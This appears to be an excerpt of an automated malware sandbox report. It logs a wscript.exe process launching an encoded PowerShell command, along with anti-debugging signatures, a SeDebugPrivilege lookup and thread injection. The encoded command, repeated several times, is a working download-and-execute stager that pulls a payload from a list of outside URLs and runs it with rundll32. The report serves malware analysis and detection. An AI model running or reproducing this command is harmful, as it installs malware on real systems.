CkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAbwB1AG4AdABlAHIALgBtAGkAbABrAHcAbwByAHQAcwBDAGEAcABzAGEAaQBjAGkAbgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
cmdline powershell -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAUwB0AG8AYgBiAGEAbABsAFIAZQBwAGwAYQBjAGUAZAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG0AZQBkAGEAbgBvADMANQA1AGMAbwBuAGQAbwBtAGkAbgBpAG8ALgBjAG8AbQAvAFQAdAA3AGwALwA1AFgAdwA2AGEAZABVADMATgB3AE4ALABoAHQAdABwAHMAOgAvAC8AYQBuAHQAbwBpAG4AZQB0AHQAZQBnAGEAYgByAGkAZQBsAC4AYwBvAG0ALwBZAHUAVQBFAC8AWgAxADMATwBpACwAaAB0AHQAcABzADoALwAvAGMAaABvAGkAYwBlAGYAYQB6AC4AYwBvAG0ALgBiAHIALwB3ADEAVwAyAC8ANAB2AHEAYgB6AEMAOABiAG4ATQBQAEEALABoAHQAdABwAHMAOgAvAC8AcwBlAGkAYwBhAHMALgBjAG8AbQAvAEsAdgB0AE0AMAAvAGsARQB5AHYATwBrAEkAbQAwADkARwAsAGgAdAB0AHAAOgAvAC8AbQBpAGwAbABlAG4AaQB1AG4AaQBuAGYAbwByAG0AYQB0AGkAYwBhAC4AYwBvAG0ALgBiAHIALwBMAGUAOQAvAHQAWQB3AEMAdgBLAFIAbABGAGgAQgBpACwAaAB0AHQAcABzADoALwAvAGEAbAB6AGgAZQBpAG0AZQByAHMAZABpAGcAZQBzAHQALgBuAGUAdAAvAFoASwBwAHYAYQAvAGIATABJAGoAagBtAEkATwBxAFgARgAsAGgAdAB0AHAAcwA6AC8ALwB0AC0AbABvAHcAcwAuAGMAbwBtAC8AZwBnAEEASgAyAG0ALwB0AFIASwBSAG4ARgBQADcAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAZQBhAGwAaQBuAGcAZQB4AGMAZQBsAGwAZQBuAGMAZQAuAGMAbwBtAC8AcgBWAFIAOQByAC8AagB0AGUAQQBuACwAaAB0AHQAcABzADoALwAvAHEAYQBzAHMAaQBtAG4AZQB3AHMALgBjAG8AbQAvAHkAdwBlAE4AZQBqAC8ANgA5AEYASwBpAGEAUgBnAHMAeAAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGYAdQB0AHUAcgBlAHMALgBpAG4ALwB0AGwAVQB0AEIAYwAvAEIAOABvAGgAUwAzAHMASgBzAGcAOQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAAaQBuACAAJABTAHQAbwBiAGIAYQBsAGwAUgBlAHAAbABhAGMAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAbwB1AG4AdABlAHIALgBtAGkAbABrAHcAbwByAHQAcwBDAGEAcABzAGEAaQBjAGkAbgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAUwB0AG8AYgBiAGEAbABsAFIAZQBwAGwAYQBjAGUAZAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG0AZQBkAGEAbgBvADMANQA1AGMAbwBuAGQAbwBtAGkAbgBpAG8ALgBjAG8AbQAvAFQAdAA3AGwALwA1AFgAdwA2AGEAZABVADMATgB3AE4ALABoAHQAdABwAHMAOgAvAC8AYQBuAHQAbwBpAG4AZQB0AHQAZQBnAGEAYgByAGkAZQBsAC4AYwBvAG0ALwBZAHUAVQBFAC8AWgAxADMATwBpACwAaAB0AHQAcABzADoALwAvAGMAaABvAGkAYwBlAGYAYQB6AC4AYwBvAG0ALgBiAHIALwB3ADEAVwAyAC8ANAB2AHEAYgB6AEMAOABiAG4ATQBQAEEALABoAHQAdABwAHMAOgAvAC8AcwBlAGkAYwBhAHMALgBjAG8AbQAvAEsAdgB0AE0AMAAvAGsARQB5AHYATwBrAEkAbQAwADkARwAsAGgAdAB0AHAAOgAvAC8AbQBpAGwAbABlAG4AaQB1AG4AaQBuAGYAbwByAG0AYQB0AGkAYwBhAC4AYwBvAG0ALgBiAHIALwBMAGUAOQAvAHQAWQB3AEMAdgBLAFIAbABGAGgAQgBpACwAaAB0AHQAcABzADoALwAvAGEAbAB6AGgAZQBpAG0AZQByAHMAZABpAGcAZQBzAHQALgBuAGUAdAAvAFoASwBwAHYAYQAvAGIATABJAGoAagBtAEkATwBxAFgARgAsAGgAdAB0AHAAcwA6AC8ALwB0AC0AbABvAHcAcwAuAGMAbwBtAC8AZwBnAEEASgAyAG0ALwB0AFIASwBSAG4ARgBQADcAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAZQBhAGwAaQBuAGcAZQB4AGMAZQBsAGwAZQBuAGMAZQAuAGMAbwBtAC8AcgBWAFIAOQByAC8AagB0AGUAQQBuACwAaAB0AHQAcABzADoALwAvAHEAYQBzAHMAaQBtAG4AZQB3AHMALgBjAG8AbQAvAHkAdwBlAE4AZQBqAC8ANgA5AEYASwBpAGEAUgBnAHMAeAAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGYAdQB0AHUAcgBlAHMALgBpAG4ALwB0AGwAVQB0AEIAYwAvAEIAOABvAGgAUwAzAHMASgBzAGcAOQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAAaQBuACAAJABTAHQAbwBiAGIAYQBsAGwAUgBlAHAAbABhAGMAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAbwB1AG4AdABlAHIALgBtAGkAbABrAHcAbwByAHQAcwBDAGEAcABzAGEAaQBjAGkAbgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAUwB0AG8AYgBiAGEAbABsAFIAZQBwAGwAYQBjAGUAZAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG0AZQBkAGEAbgBvADMANQA1AGMAbwBuAGQAbwBtAGkAbgBpAG8ALgBjAG8AbQAvAFQAdAA3AGwALwA1AFgAdwA2AGEAZABVADMATgB3AE4ALABoAHQAdABwAHMAOgAvAC8AYQBuAHQAbwBpAG4AZQB0AHQAZQBnAGEAYgByAGkAZQBsAC4AYwBvAG0ALwBZAHUAVQBFAC8AWgAxADMATwBpACwAaAB0AHQAcABzADoALwAvAGMAaABvAGkAYwBlAGYAYQB6AC4AYwBvAG0ALgBiAHIALwB3ADEAVwAyAC8ANAB2AHEAYgB6AEMAOABiAG4ATQBQAEEALABoAHQAdABwAHMAOgAvAC8AcwBlAGkAYwBhAHMALgBjAG8AbQAvAEsAdgB0AE0AMAAvAGsARQB5AHYATwBrAEkAbQAwADkARwAsAGgAdAB0AHAAOgAvAC8AbQBpAGwAbABlAG4AaQB1AG4AaQBuAGYAbwByAG0AYQB0AGkAYwBhAC4AYwBvAG0ALgBiAHIALwBMAGUAOQAvAHQAWQB3AEMAdgBLAFIAbABGAGgAQgBpACwAaAB0AHQAcABzADoALwAvAGEAbAB6AGgAZQBpAG0AZQByAHMAZABpAGcAZQBzAHQALgBuAGUAdAAvAFoASwBwAHYAYQAvAGIATABJAGoAagBtAEkATwBxAFgARgAsAGgAdAB0AHAAcwA6AC8ALwB0AC0AbABvAHcAcwAuAGMAbwBtAC8AZwBnAEEASgAyAG0ALwB0AFIASwBSAG4ARgBQADcAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAZQBhAGwAaQBuAGcAZQB4AGMAZQBsAGwAZQBuAGMAZQAuAGMAbwBtAC8AcgBWAFIAOQByAC8AagB0AGUAQQBuACwAaAB0AHQAcABzADoALwAvAHEAYQBzAHMAaQBtAG4AZQB3AHMALgBjAG8AbQAvAHkAdwBlAE4AZQBqAC8ANgA5AEYASwBpAGEAUgBnAHMAeAAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGYAdQB0AHUAcgBlAHMALgBpAG4ALwB0AGwAVQB0AEIAYwAvAEIAOABvAGgAUwAzAHMASgBzAGcAOQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAAaQBuACAAJABTAHQAbwBiAGIAYQBsAGwAUgBlAHAAbABhAGMAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAbwB1AG4AdABlAHIALgBtAGkAbABrAHcAbwByAHQAcwBDAGEAcABzAGEAaQBjAGkAbgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
parent_process wscript.exe martian_process powershell -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAUwB0AG8AYgBiAGEAbABsAFIAZQBwAGwAYQBjAGUAZAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG0AZQBkAGEAbgBvADMANQA1AGMAbwBuAGQAbwBtAGkAbgBpAG8ALgBjAG8AbQAvAFQAdAA3AGwALwA1AFgAdwA2AGEAZABVADMATgB3AE4ALABoAHQAdABwAHMAOgAvAC8AYQBuAHQAbwBpAG4AZQB0AHQAZQBnAGEAYgByAGkAZQBsAC4AYwBvAG0ALwBZAHUAVQBFAC8AWgAxADMATwBpACwAaAB0AHQAcABzADoALwAvAGMAaABvAGkAYwBlAGYAYQB6AC4AYwBvAG0ALgBiAHIALwB3ADEAVwAyAC8ANAB2AHEAYgB6AEMAOABiAG4ATQBQAEEALABoAHQAdABwAHMAOgAvAC8AcwBlAGkAYwBhAHMALgBjAG8AbQAvAEsAdgB0AE0AMAAvAGsARQB5AHYATwBrAEkAbQAwADkARwAsAGgAdAB0AHAAOgAvAC8AbQBpAGwAbABlAG4AaQB1AG4AaQBuAGYAbwByAG0AYQB0AGkAYwBhAC4AYwBvAG0ALgBiAHIALwBMAGUAOQAvAHQAWQB3AEMAdgBLAFIAbABGAGgAQgBpACwAaAB0AHQAcABzADoALwAvAGEAbAB6AGgAZQBpAG0AZQByAHMAZABpAGcAZQBzAHQALgBuAGUAdAAvAFoASwBwAHYAYQAvAGIATABJAGoAagBtAEkATwBxAFgARgAsAGgAdAB0AHAAcwA6AC8ALwB0AC0AbABvAHcAcwAuAGMAbwBtAC8AZwBnAEEASgAyAG0ALwB0AFIASwBSAG4ARgBQADcAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAZQBhAGwAaQBuAGcAZQB4AGMAZQBsAGwAZQBuAGMAZQAuAGMAbwBtAC8AcgBWAFIAOQByAC8AagB0AGUAQQBuACwAaAB0AHQAcABzADoALwAvAHEAYQBzAHMAaQBtAG4AZQB3AHMALgBjAG8AbQAvAHkAdwBlAE4AZQBqAC8ANgA5AEYASwBpAGEAUgBnAHMAeAAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGYAdQB0AHUAcgBlAHMALgBpAG4ALwB0AGwAVQB0AEIAYwAvAEIAOABvAGgAUwAzAHMASgBzAGcAOQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAAaQBuACAAJABTAHQAbwBiAGIAYQBsAGwAUgBlAHAAbABhAGMAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAbwB1AG4AdABlAHIALgBtAGkAbABrAHcAbwByAHQAcwBDAGEAcABzAGEAaQBjAGkAbgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
Process injection Process 2548 resumed a thread in remote process 2676
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000144
suspend_count: 1
process_identifier: 2676
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe